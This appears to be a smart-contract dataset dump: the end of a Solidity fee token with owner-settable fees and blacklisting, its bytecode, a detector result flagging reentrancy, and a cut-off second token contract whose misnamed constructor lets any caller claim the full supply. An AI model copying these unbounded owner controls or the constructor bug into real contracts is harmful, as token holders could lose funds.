uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a8152694b61626f737520496e7560b01b60208201525b60405161023a9190611a26565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7b565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50678ac7230489e800005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa7565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b15565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b30565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b15565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260068152654b41424f535560d01b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026361050d366004611a7b565b610974565b34801561051e57600080fd5b5061026361052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c2610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061164382826114c1565b82101561165f57505060065492678ac7230489e8000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220370354f934f9e037fd2d8f616a3885b706e6e9164bd91bbcf71f7c6e3aa8197f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
582
0x0868ce9bb32f4abedc83190ba5960a2863dc8646
pragma solidity ^0.4.21 ; contract TEHRAN_Portfolio_Ib_883 { mapping (address => uint256) public balanceOf; string public name = " TEHRAN_Portfolio_Ib_883 " ; string public symbol = " TEHRAN883 " ; uint8 public decimals = 18 ; uint256 public totalSupply = 2140354551050680000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < TEHRAN_Portfolio_I_metadata_line_1_____Asan_Pardakht_Pers_20250515 > // < CJO0TdiK0uiWB0lIp8R4jD9W3NpZiV2O7ibv5Fe8AybOjP320HioFP404o3y9Nt8 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000061210881.473286600000000000 ] > // < 0x00000000000000000000000000000000000000000000000000000000005D6680 > // < TEHRAN_Portfolio_I_metadata_line_2_____Bank_Melli_Inv_20250515 > // < 757g2ap9JV3eU0k18t4IjG867qIE0rdcwu8N6u48FiFWUY46jYT16LEt481wAn3f > // < u =="0.000000000000000001" : ] 000000061210881.473286600000000000 ; 000000116460677.664409000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000005D6680B1B474 > // < TEHRAN_Portfolio_I_metadata_line_3_____Fajr_Petrochemical_20250515 > // < z1G01Kjfz6uI2KwkOM56ZgChx2CgjyKk8sTj279r591zck24pcKTXC0F6AJ41q3y > // < u =="0.000000000000000001" : ] 000000116460677.664409000000000000 ; 000000171382463.440255000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000B1B4741058246 > // < TEHRAN_Portfolio_I_metadata_line_4_____Mellat_Bank_20250515 > // < pvk5r3SRcL08r8v1XQh80R8B2gm5eASP39SiXaiC99i5WqLBpCDEwZtI0EAc0q45 > // < u =="0.000000000000000001" : ] 000000171382463.440255000000000000 ; 000000208353305.657455000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000105824613DEC03 > // < TEHRAN_Portfolio_I_metadata_line_5_____Chadormalu_20250515 > // < li2TG8666iOSDrgJ878M2N3A3A19aN23Rt6xbvAarkDiHC30LsA226spOk3g1X06 > // < u =="0.000000000000000001" : ] 000000208353305.657455000000000000 ; 000000252385082.637906000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000013DEC031811BEC > // < TEHRAN_Portfolio_I_metadata_line_6_____Khouz_Steel_20250515 > // < MVG84bw9wR083X7q9lFvMNerqu7gRE3ZSZZ5avTX2654d8e5v3C5UHT37zJAffaL > // < u =="0.000000000000000001" : ] 000000252385082.637906000000000000 ; 000000291751435.337723000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001811BEC1BD2D68 > // < TEHRAN_Portfolio_I_metadata_line_7_____Mobarakeh_Steel_20250515 > // < UxJ0h6Ub5rOFq3R8166mHcLevX5eXq2UfoutUTXo79ZCgSgp5H2YM5195ya512od > // < u =="0.000000000000000001" : ] 000000291751435.337723000000000000 ; 000000343072100.951209000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001BD2D6820B7C8A > // < TEHRAN_Portfolio_I_metadata_line_8_____Ghadir_Inv_20250515 > // < 02muY5Ca7HZ7hB90ueT1yqyrE7CrihUYBS4RQIxtZCf1WJ1AKMcdBE490Q1GS84C > // < u =="0.000000000000000001" : ] 000000343072100.951209000000000000 ; 000000397620165.608982000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000020B7C8A25EB861 > // < TEHRAN_Portfolio_I_metadata_line_9_____Gol_E_Gohar_20250515 > // < c634eWNMtsB8lomjYCSBKrwg8B7rWBSS63Hb6Rs2suA5M79kGfMwImJD2eCIxnru > // < u =="0.000000000000000001" : ] 000000397620165.608982000000000000 ; 000000476761514.460519000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000025EB8612D77AF7 > // < TEHRAN_Portfolio_I_metadata_line_10_____Iran_Mobil_Tele_20250515 > // < GHy2nJ8217UvQ686c3uN387nhYv6U0isPL0A6OCzz15k87aEhgULivrKHn9YXPIh > // < u =="0.000000000000000001" : ] 000000476761514.460519000000000000 ; 000000541506851.333809000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002D77AF733A461D > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < TEHRAN_Portfolio_I_metadata_line_11_____Iran_Khodro_20250515 > // < iX1B36lIfohy6nr8J15kvXJ3Y829npAH73PTQ3s5Jdqyt37fxLY08h0m3Izr4Rmo > // < u =="0.000000000000000001" : ] 000000541506851.333809000000000000 ; 000000616108313.583000000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000033A461D3AC1B4F > // < TEHRAN_Portfolio_I_metadata_line_12_____IRI_Marine_Co_20250515 > // < T2F2XmuSgNzql7yJb6XT21H1v3rlG73J0vXdve2vQ7w6d7ic8cbT8n2D1t5Tj32G > // < u =="0.000000000000000001" : ] 000000616108313.583000000000000000 ; 000000652705135.584955000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003AC1B4F3E3F2F2 > // < TEHRAN_Portfolio_I_metadata_line_13_____Metals_Min_20250515 > // < H15yBY3c0C1ju5t0en19sux3msBqmf3842TQGL6nEyFFIGf609149v3lZ7dD83lM > // < u =="0.000000000000000001" : ] 000000652705135.584955000000000000 ; 000000718182786.421577000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003E3F2F2447DC27 > // < TEHRAN_Portfolio_I_metadata_line_14_____MAPNA_20250515 > // < 8I82SG1yNK9kIuE30orKF7CJo33QZMiA176mkv66Mp26clRtE59npC78J3XoTE3a > // < u =="0.000000000000000001" : ] 000000718182786.421577000000000000 ; 000000764558559.723822000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000447DC2748E9FB0 > // < TEHRAN_Portfolio_I_metadata_line_15_____Iran_Tele_Co_20250515 > // < i9Icd0eLY2D3iOvbZ5T5ZUZdBKrjxV4UI67M6yN05X2tdrWf2v4U9o7EP1jzrVXH > // < u =="0.000000000000000001" : ] 000000764558559.723822000000000000 ; 000000841393243.264593000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000048E9FB0503DD3C > // < TEHRAN_Portfolio_I_metadata_line_16_____Mobin_Petr_20250515 > // < Ob9Ay7W1Ke7ngjrgl3zjBA12b4TCb408XF5zVG9me0e8qS2cMte82S1EBUO7u6g9 > // < u =="0.000000000000000001" : ] 000000841393243.264593000000000000 ; 000000886895158.844619000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000503DD3C5494B6C > // < TEHRAN_Portfolio_I_metadata_line_17_____I_N_C_Ind_20250515 > // < Uo1SlsPKjGhB5uH6t1f267811O3h36hElju09LS1B0927L2pK1XVg9q6XnuZ46Wp > // < u =="0.000000000000000001" : ] 000000886895158.844619000000000000 ; 000000938814504.253922000000000000 ] > // < 0x000000000000000000000000000000000000000000000000005494B6C598846A > // < TEHRAN_Portfolio_I_metadata_line_18_____Omid_Inv_Mng_20250515 > // < 0tu1Zf8X0xz03k3gWV0wtmLy885VT72o3buu8O33Uqqe7MGG0r2EDm20qNdiJ6ED > // < u =="0.000000000000000001" : ] 000000938814504.253922000000000000 ; 000001006010100.736080000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000598846A5FF0CB2 > // < TEHRAN_Portfolio_I_metadata_line_19_____Parsian_Oil_Gas_20250515 > // < gCJ4N8Sh229LFUkIGHD0Edfr94uYcASk8ISn8Y6YvraP0Hv9LJw5Gkoi916dYwj5 > // < u =="0.000000000000000001" : ] 000001006010100.736080000000000000 ; 000001059393442.681370000000000000 ] > // < 0x000000000000000000000000000000000000000000000000005FF0CB26508190 > // < TEHRAN_Portfolio_I_metadata_line_20_____Fanavaran_Petr_20250515 > // < 5pO3wh9sB877u026945fUftWNnb18k228zyn7zQ1h3ej2yecR7sV45fufUQAiOdv > // < u =="0.000000000000000001" : ] 000001059393442.681370000000000000 ; 000001103775973.755440000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000065081906943A7D > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < TEHRAN_Portfolio_I_metadata_line_21_____Jam_Petr_20250515 > // < 1726okLV3BR36B6jG51TCfy1752d70ao1784LGFmKmazeSr8QPzqc5HCR423hTfE > // < u =="0.000000000000000001" : ] 000001103775973.755440000000000000 ; 000001158796138.464220000000000000 ] > // < 0x000000000000000000000000000000000000000000000000006943A7D6E82EBE > // < TEHRAN_Portfolio_I_metadata_line_22_____Khark_Petr_20250515 > // < QAo66E5QD3A49PdgO3b9nlA723XfFF66FT4WQBQ061P310a4byPSW8I2WROKI34Y > // < u =="0.000000000000000001" : ] 000001158796138.464220000000000000 ; 000001238453992.454110000000000000 ] > // < 0x000000000000000000000000000000000000000000000000006E82EBE761BB17 > // < TEHRAN_Portfolio_I_metadata_line_23_____Khalij_Fars_20250515 > // < x6EWsrz1C66G4K0qBT7Rq0o3QQO95heFL95pAAv0J1Nmh3GM36Oqc7SR8G3LCwHE > // < u =="0.000000000000000001" : ] 000001238453992.454110000000000000 ; 000001295153126.350380000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000761BB177B83F31 > // < TEHRAN_Portfolio_I_metadata_line_24_____BA_Oil_Refinie_20250515 > // < BJ5571Q2TAEe0yKf6095R51u1Chuz5gTkGUkDJNi8kXGmn5me2R36Z387x880n7x > // < u =="0.000000000000000001" : ] 000001295153126.350380000000000000 ; 000001331882490.001130000000000000 ] > // < 0x000000000000000000000000000000000000000000000000007B83F317F04A99 > // < TEHRAN_Portfolio_I_metadata_line_25_____Isf_Oil_Ref_Co_20250515 > // < 4wkB3H1Ejh5q96FEr1h68EX4qHYV1898VzqMf7hw4eZ4jA6YNs50VK3Kp8GFlRW5 > // < u =="0.000000000000000001" : ] 000001331882490.001130000000000000 ; 000001372467359.378910000000000000 ] > // < 0x000000000000000000000000000000000000000000000000007F04A9982E3810 > // < TEHRAN_Portfolio_I_metadata_line_26_____Pardis_Petr_20250515 > // < 6976Bf6rB8xqvt53nWO02IblZ6i6IBlKYEvSi5q5KgDS7JoWns3TpY7DM22Zg2t0 > // < u =="0.000000000000000001" : ] 000001372467359.378910000000000000 ; 000001442005160.931830000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000082E38108985344 > // < TEHRAN_Portfolio_I_metadata_line_27_____Tamin_Petro_20250515 > // < UE9Plj5Xu1xts7r9TFR8J8S9WKjr74p6C4ns1l92ax9IUqLGwxWq636nr52H2V63 > // < u =="0.000000000000000001" : ] 000001442005160.931830000000000000 ; 000001483346707.538130000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000089853448D7684F > // < TEHRAN_Portfolio_I_metadata_line_28_____Palayesh_Tehran_20250515 > // < wh6Be2p87jY5L256U64dUkul4K3Sm3l53w90vrY3hIq5xh9NCEWBROZhs3Z8vIyU > // < u =="0.000000000000000001" : ] 000001483346707.538130000000000000 ; 000001536886446.281760000000000000 ] > // < 0x000000000000000000000000000000000000000000000000008D7684F9291A45 > // < TEHRAN_Portfolio_I_metadata_line_29_____Pension_Fund_20250515 > // < zyCBwuXC1p4RKGez6gucHmUFrb33bRDe6sdpRSmyH8n17SQ2KpQCAI7bkLN8Kb7q > // < u =="0.000000000000000001" : ] 000001536886446.281760000000000000 ; 000001609848020.489690000000000000 ] > // < 0x000000000000000000000000000000000000000000000000009291A459986EE2 > // < TEHRAN_Portfolio_I_metadata_line_30_____Saipa_20250515 > // < 3eHX0wKcN8iu78t3Pw18C16cTZnE6Y3e438G7AbLOw6kvv9lT0wr9864e2ehLVaL > // < u =="0.000000000000000001" : ] 000001609848020.489690000000000000 ; 000001670977351.576980000000000000 ] > // < 0x000000000000000000000000000000000000000000000000009986EE29F5B587 > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < TEHRAN_Portfolio_I_metadata_line_31_____Hegmatan_Sugar_20250515 > // < eL4Rp6K62TfJG0hFW59g8fQ3Y3QwIHU8asGPgzHz12LeM1fXAT392JR8z7qTx54F > // < u =="0.000000000000000001" : ] 000001670977351.576980000000000000 ; 000001719124820.482130000000000000 ] > // < 0x000000000000000000000000000000000000000000000000009F5B587A3F2D22 > // < TEHRAN_Portfolio_I_metadata_line_32_____F_Kh_Cement_20250515 > // < mo2Z231Z1R1ea7LN4v27p68qZGskf5V8f1480pM70GL0j8AcGSuoE1pmh5M0G7DU > // < u =="0.000000000000000001" : ] 000001719124820.482130000000000000 ; 000001776529382.001640000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000A3F2D22A96C4CA > // < TEHRAN_Portfolio_I_metadata_line_33_____Iran_Aluminium_20250515 > // < L5hatOCJ2sTdQL9yx94tnOXPn2vYG0Vz3R0YXbvgoq3hwp7ErDFCYMeSY96J39T8 > // < u =="0.000000000000000001" : ] 000001776529382.001640000000000000 ; 000001820306550.556860000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000A96C4CAAD9913F > // < TEHRAN_Portfolio_I_metadata_line_34_____Margarin_20250515 > // < 